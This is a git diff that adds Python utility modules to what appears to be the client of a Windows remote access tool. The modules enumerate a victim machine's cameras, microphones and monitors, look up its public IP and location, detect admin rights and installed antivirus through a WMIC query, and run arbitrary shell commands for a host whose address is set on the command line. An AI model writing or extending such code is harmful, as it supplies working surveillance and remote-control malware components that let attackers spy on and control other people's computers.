diff options
Diffstat (limited to 'foreign/utility')
-rw-r--r-- | foreign/utility/client_root.py | 18 | ||||
-rw-r--r-- | foreign/utility/device_support.py | 79 | ||||
-rw-r--r-- | foreign/utility/location_data.py | 16 | ||||
-rw-r--r-- | foreign/utility/program_setup.py | 12 | ||||
-rw-r--r-- | foreign/utility/system_info.py | 53 | ||||
-rw-r--r-- | foreign/utility/terminal_pipe.py | 36 |
6 files changed, 214 insertions, 0 deletions
diff --git a/foreign/utility/client_root.py b/foreign/utility/client_root.py new file mode 100644 index 0000000..8b7df7d --- /dev/null +++ b/foreign/utility/client_root.py @@ -0,0 +1,18 @@ +import getpass +import os + + +def client_root(): + user = getpass.getuser() + drive = 'C' + + paths = { + f'{drive}:\\Users\\{user}\\AppData\\Roaming', + f'{drive}:\\Users\\{user}\\AppData\\Local', + f'{drive}:\\Users\\{user}', + os.getcwd() + } + + for path in paths: + if os.path.isdir(path): + return path
\ No newline at end of file diff --git a/foreign/utility/device_support.py b/foreign/utility/device_support.py new file mode 100644 index 0000000..329ba9d --- /dev/null +++ b/foreign/utility/device_support.py @@ -0,0 +1,79 @@ +import pyaudio +import cv2 + +from desktopmagic.screengrab_win32 import getDisplayRects + + +def device_support(silent, io_channels): + device_obj = {} + + try: + device_obj['monitors'] = len(getDisplayRects()) + except: + device_obj['monitors'] = '???' + + if silent: + device_obj['cams'] = '???' + else: + cams = [0, []] + + while True: + cam = cv2.VideoCapture(cams[0]) + check, frame = cam.read() + if not check: + break + cams[0] += 1 + cams[1].append(f'[{int(cam.get(3))},{int(cam.get(4))}]') + + cam.release() + device_obj['cams'] = '{} {}'.format(cams[0], ', '.join(cams[1])) + + try: + p = pyaudio.PyAudio() + CHUNK = 81920 + FORMAT = pyaudio.paInt16 + RATE = 44100 + except: + device_obj['io-channels'] = '???' + else: + try: + try: + stream = p.open(format=FORMAT, channels=2, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + stream.stop_stream() + stream.close() + input_channels = '2' + except: + stream = p.open(format=FORMAT, channels=1, rate=RATE, input=True, output=False, frames_per_buffer=CHUNK) + stream.stop_stream() + stream.close() + input_channels = '1' + + if io_channels[0] in ('1', '2'): + device_obj['io-channels'] = '{}(+), '.format(input_channels) + else: + device_obj['io-channels'] = '{}(-), '.format(input_channels) + except: + device_obj['io-channels'] = 'None, ' + + try: + try: + stream = p.open(format=FORMAT, channels=2, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + stream.stop_stream() + stream.close() + output_channels = '2' + except: + stream = p.open(format=FORMAT, channels=1, rate=RATE, input=False, output=True, frames_per_buffer=CHUNK) + stream.stop_stream() + stream.close() + output_channels = '1' + + if io_channels[1] in ('1', '2'): + device_obj['io-channels'] += '{}(+)'.format(output_channels) + else: + device_obj['io-channels'] += '{}(-)'.format(output_channels) + except: + device_obj['io-channels'] += 'None' + + p.terminate() + + return device_obj
\ No newline at end of file diff --git a/foreign/utility/location_data.py b/foreign/utility/location_data.py new file mode 100644 index 0000000..2414593 --- /dev/null +++ b/foreign/utility/location_data.py @@ -0,0 +1,16 @@ +import requests + + +def location_data(): + try: + location = requests.get('http://ipinfo.io').json() + except: + return {'address': '???', 'location': '???'} + else: + try: + return {'address': location['ip'], 'location': f'{location["city"]} ({location["country"]})'} + except: + try: + return {'address': location['ip'], 'location': '???'} + except: + return {'address': '???', 'location': '???'}
\ No newline at end of file diff --git a/foreign/utility/program_setup.py b/foreign/utility/program_setup.py new file mode 100644 index 0000000..81a6ad3 --- /dev/null +++ b/foreign/utility/program_setup.py @@ -0,0 +1,12 @@ +import argparse + +from foreign.global_state import * + + +def program_setup(): + parser = argparse.ArgumentParser() + parser.add_argument('-ip', '--ipv4', default='localhost', help='IP address of host.') + parser.add_argument('-p', '--port', type=int, default=1200, help='Socket port of host.') + args = parser.parse_args() + + state['ip'], state['port'] = args.ipv4, args.port
\ No newline at end of file diff --git a/foreign/utility/system_info.py b/foreign/utility/system_info.py new file mode 100644 index 0000000..58640be --- /dev/null +++ b/foreign/utility/system_info.py @@ -0,0 +1,53 @@ +import platform +import getpass + +from foreign.privileges.win_privileges import * +from foreign.utility.terminal_pipe import * + + +def system_info(extra_data): + system_obj = {} + + try: + system = platform.uname() + machine = system.machine.lower() + + if machine == 'i386': + architecture = '32-bit' + elif machine == 'amd64': + architecture = '64-bit' + else: + architecture = '???' + + system_obj['os'] = f'{system.system} {system.release} {architecture}' + except: + system_obj['os'] = f'???' + + try: + if is_running_as_admin(): + system_obj['privileges'] = 'Administrator' + else: + system_obj['privileges'] = 'User' + except: + system_obj['privileges'] = '???' + + try: + powershell_command = r'powershell WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List' + system_obj['antivirus'] = ', '.join([antivirus.strip() for antivirus in terminal_pipe(powershell_command, extra_data[0], extra_data[1]).split('displayName=') if antivirus != '']) + + if system_obj['antivirus'] == '': + system_obj['antivirus'] = 'No Antivirus Activated' + except: + system_obj['antivirus'] = '???' + + try: + hostname = system.node + except: + hostname = 'Unkown' + + try: + system_obj['username'] = f'{getpass.getuser().capitalize()}@{hostname}' + except: + system_obj['username'] = f'Unkown@{hostname}' + + return system_obj
\ No newline at end of file diff --git a/foreign/utility/terminal_pipe.py b/foreign/utility/terminal_pipe.py new file mode 100644 index 0000000..ca57844 --- /dev/null +++ b/foreign/utility/terminal_pipe.py @@ -0,0 +1,36 @@ +import multiprocessing + +from subprocess import Popen, PIPE + +from foreign.global_state import * + + +def get_terminal_pipe_data(data, return_dict): + encoding = state['settings']['encoding'] + shell = Popen(data, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE) + stdout, stderr = shell.communicate() + return_dict['result'] = '{}{}'.format(stdout.decode(encoding), stderr.decode(encoding)).strip('\r\n').replace('ΓΏ', ' ') + + if return_dict['result'] == '': + return_dict['result'] = 'Empty Response' + + return return_dict['result'] + + +def terminal_pipe(data, safe, timeout): + if safe: + manager = multiprocessing.Manager() + return_dict = manager.dict() + + terminal_data = multiprocessing.Process(target=get_terminal_pipe_data, args=(data, return_dict), daemon=True) + terminal_data.start() + terminal_data.join(timeout) + + if terminal_data.is_alive(): + return_dict['result'] = f'Timeout reached of {timeout} seconds' + terminal_data.terminate() + terminal_data.join() + + return return_dict['result'] + else: + return get_terminal_pipe_data(data, {})
\ No newline at end of file |